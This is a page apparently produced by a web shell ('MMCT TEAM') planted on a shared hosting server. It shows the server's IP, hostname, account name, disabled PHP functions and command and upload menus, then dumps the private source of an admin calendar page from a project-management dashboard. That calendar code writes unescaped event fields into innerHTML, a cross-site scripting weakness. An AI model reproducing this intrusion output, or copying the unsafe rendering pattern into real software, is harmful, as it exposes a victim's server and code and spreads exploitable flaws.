MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/public_html/rasi/../projects/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/public_html/rasi/../projects/admin/calendar.php
<!--calendar.php-->

<?php
session_start();

if (!isset($_SESSION['admin_id'])) {
    header("Location: login.php");
    exit;
}

// ADMIN/MANAGER ONLY ACCESS
if ($_SESSION['role'] === 'Employee') {
    header("Location: employee.php");
    exit;
}

require_once '../config/config.php';
require_once '../config/db.php';

$current_user_role = $_SESSION['role'] ?? 'Manager';
$current_user_id = $_SESSION['admin_id'];
$current_user_name = $_SESSION['user_name'] ?? 'Admin';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <base href="../" />
    <title>Calendar - TDS Admin Hub</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
    <link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
    <link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
    
    <!-- FullCalendar CSS -->
    <link href="https://cdn.jsdelivr.net/npm/fullcalendar@5.11.5/main.min.css" rel="stylesheet" />
    <style>
        .fc-direction-ltr .fc-daygrid-event.fc-event-end, .fc-direction-rtl .fc-daygrid-event.fc-event-start {
    margin-right: 2px;
    margin: 20px;
}
    </style>
</head>

<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" 
      data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" 
      data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" 
      data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" 
      data-kt-app-toolbar-enabled="true" class="app-default">
    
    <script>
        var defaultThemeMode = "light"; 
        var themeMode; 
        if (document.documentElement) { 
            if (document.documentElement.hasAttribute("data-bs-theme-mode")) { 
                themeMode = document.documentElement.getAttribute("data-bs-theme-mode"); 
            } else { 
                if (localStorage.getItem("data-bs-theme") !== null) { 
                    themeMode = localStorage.getItem("data-bs-theme"); 
                } else { 
                    themeMode = defaultThemeMode; 
                } 
            } 
            if (themeMode === "system") { 
                themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; 
            } 
            document.documentElement.setAttribute("data-bs-theme", themeMode); 
        }
    </script>
    
    <div class="d-flex flex-column flex-root app-root" id="kt_app_root">
        <div class="app-page flex-column flex-column-fluid" id="kt_app_page">
            
            <?php include 'header.php'; ?>
            
            <div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
                
                <!-- Sidebar -->
             <?php include 'includes/sidebar.php'; ?>
                
                <!-- Main Content -->
                <div class="app-main flex-column flex-row-fluid" id="kt_app_main">
                    <div class="d-flex flex-column flex-column-fluid">
                        
                        <div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
                            <div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
                                <div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
                                    <h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 flex-column my-0">
                                        Calendar Overview
                                    </h1>
                                    <ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
                                        <li class="breadcrumb-item text-muted">
                                            <a href="admin/dashboard.php" class="text-muted text-hover-primary">Home</a>
                                        </li>
                                        <li class="breadcrumb-item">
                                            <span class="bullet bg-gray-500 w-5px h-2px"></span>
                                        </li>
                                        <li class="breadcrumb-item text-muted">Calendar</li>
                                    </ul>
                                </div>
                            </div>
                        </div>
                        
                        <div id="kt_app_content" class="app-content flex-column-fluid">
                            <div id="kt_app_content_container" class="app-container container-xxl">
                                
                                <div class="card">
                                    <div class="card-body">
                                        <div id="calendar"></div>
                                    </div>
                                </div>
                                
                            </div>
                        </div>
                        
                    </div>
                    
                    <div id="kt_app_footer" class="app-footer">
                        <div class="app-container container-fluid d-flex flex-column flex-md-row flex-center flex-md-stack py-3">
                            <div class="text-gray-900 order-2 order-md-1">
                                <span class="text-muted fw-semibold me-1">2024&copy;</span>
                                <a href="https://thedotstudios.com/" target="_blank" class="text-gray-800 text-hover-primary">
                                    Copyright All rights reserved | Made with <span class="fa fa-heart text-danger"></span> 
                                    <b>by TheDotStudios.</b>
                                </a>
                            </div>
                        </div>
                    </div>
                    
                </div>
            </div>
        </div>
    </div>
    
    <!-- Event Details Modal -->
    <div class="modal fade" id="eventModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered mw-650px">
            <div class="modal-content">
                <div class="modal-header">
                    <h2 class="fw-bolder" id="eventModalTitle">Event Details</h2>
                    <div class="btn btn-icon btn-sm btn-active-icon-primary" data-bs-dismiss="modal">
                        <i class="ki-duotone ki-cross fs-1">
                            <span class="path1"></span>
                            <span class="path2"></span>
                        </i>
                    </div>
                </div>
                <div class="modal-body py-10 px-lg-17">
                    <div id="eventModalContent"></div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-light" data-bs-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>
    
    <!-- Scripts -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="assets/plugins/global/plugins.bundle.js"></script>
    <script src="assets/js/scripts.bundle.js"></script>
    
    <!-- FullCalendar JS -->
    <script src="https://cdn.jsdelivr.net/npm/fullcalendar@5.11.5/main.min.js"></script>
    
    <!-- Chat Widget -->
    <?php include 'includes/chat_widget.php'; ?>
    
    <script>
    document.addEventListener('DOMContentLoaded', function() {
        var calendarEl = document.getElementById('calendar');
        
var calendar = new FullCalendar.Calendar(calendarEl, {
    headerToolbar: {
        left: 'prev,next today',
        center: 'title',
        right: 'dayGridMonth,timeGridWeek,timeGridDay'
    },
    initialView: 'dayGridMonth',
    editable: false,
    selectable: true,
    selectMirror: true,
    dayMaxEvents: true,
    weekends: true,
    
    // Add these options to hide other month dates
    fixedWeekCount: false,  // Only show weeks that contain days of current month
    showNonCurrentDates: false,  // Hide dates from other months
    
    events: 'admin/calendar_events.php',
    eventClick: function(info) {
        showEventDetails(info.event);
    },
    eventDidMount: function(info) {
        info.el.title = info.event.title;
    }
});
        
        calendar.render();
        
        function showEventDetails(event) {
            const eventType = event.extendedProps.type;
            let content = '';
            
            if (eventType === 'task') {
                const priorityColors = {
                    'Urgent': 'danger',
                    'High': 'warning',
                    'Medium': 'info',
                    'Low': 'secondary'
                };
                const priorityColor = priorityColors[event.extendedProps.priority] || 'secondary';
                
                content = `
                    <div class="mb-5">
                        <label class="fs-6 fw-semibold mb-2">Task Title</label>
                        <div class="fs-4 fw-bold text-gray-900">${event.title}</div>
                    </div>
                    ${event.extendedProps.description ? `
                    <div class="mb-5">
                        <label class="fs-6 fw-semibold mb-2">Description</label>
                        <div class="text-gray-700">${event.extendedProps.description}</div>
                    </div>
                    ` : ''}
                    <div class="row mb-5">
                        <div class="col-md-6">
                            <label class="fs-6 fw-semibold mb-2">Project</label>
                            <div class="text-gray-800">${event.extendedProps.project}</div>
                        </div>
                        <div class="col-md-6">
                            <label class="fs-6 fw-semibold mb-2">Assigned To</label>
                            <div class="text-gray-800">${event.extendedProps.employee}</div>
                        </div>
                    </div>
                    <div class="row mb-5">
                        <div class="col-md-6">
                            <label class="fs-6 fw-semibold mb-2">Priority</label>
                            <div><span class="badge badge-light-${priorityColor}">${event.extendedProps.priority}</span></div>
                        </div>
                        <div class="col-md-6">
                            <label class="fs-6 fw-semibold mb-2">Status</label>
                            <div><span class="badge badge-light-primary">${event.extendedProps.status}</span></div>
                        </div>
                    </div>
                    <div class="mb-5">
                        <label class="fs-6 fw-semibold mb-2">Deadline</label>
                        <div class="text-gray-800">${event.start.toLocaleDateString('en-US', {year: 'numeric', month: 'long', day: 'numeric'})}</div>
                    </div>
                `;
            } else if (eventType === 'meeting') {
                const typeColors = {
                    'Online': 'info',
                    'In-Person': 'primary',
                    'Hybrid': 'warning'
                };
                const typeColor = typeColors[event.extendedProps.meetingType] || 'primary';
                
                content = `
                    <div class="mb-5">
                        <label class="fs-6 fw-semibold mb-2">Meeting Title</label>
                        <div class="fs-4 fw-bold text-gray-900">${event.title}</div>
                    </div>
                    ${event.extendedProps.description ? `
                    <div class="mb-5">
                        <label class="fs-6 fw-semibold mb-2">Description</label>
                        <div class="text-gray-700">${event.extendedProps.description}</div>
                    </div>
                    ` : ''}
                    <div class="row mb-5">
                        <div class="col-md-6">
                            <label class="fs-6 fw-semibold mb-2">Date</label>
                            <div class="text-gray-800">${event.start.toLocaleDateString('en-US', {year: 'numeric', month: 'long', day: 'numeric'})}</div>
                        </div>
                        <div class="col-md-6">
                            <label class="fs-6 fw-semibold mb-2">Time</label>
                            <div class="text-gray-800">${event.extendedProps.time}</div>
                        </div>
                    </div>
                    <div class="mb-5">
                        <label class="fs-6 fw-semibold mb-2">Meeting Type</label>
                        <div><span class="badge badge-light-${typeColor}">${event.extendedProps.meetingType}</span></div>
                    </div>
                    ${event.extendedProps.location ? `
                    <div class="mb-5">
                        <label class="fs-6 fw-semibold mb-2">Location</label>
                        <div class="text-gray-800">${event.extendedProps.location}</div>
                    </div>
                    ` : ''}
                    ${event.extendedProps.link ? `
                    <div class="mb-5">
                        <label class="fs-6 fw-semibold mb-2">Meeting Link</label>
                        <div><a href="${event.extendedProps.link}" target="_blank" class="btn btn-sm btn-light-primary">Join Meeting</a></div>
                    </div>
                    ` : ''}
                `;
            }
            
            document.getElementById('eventModalTitle').textContent = eventType === 'task' ? 'Task Details' : 'Meeting Details';
            document.getElementById('eventModalContent').innerHTML = content;
            
            const modal = new bootstrap.Modal(document.getElementById('eventModal'));
            modal.show();
        }
    });
    </script>
    
</body>
</html>

MMCT - 2023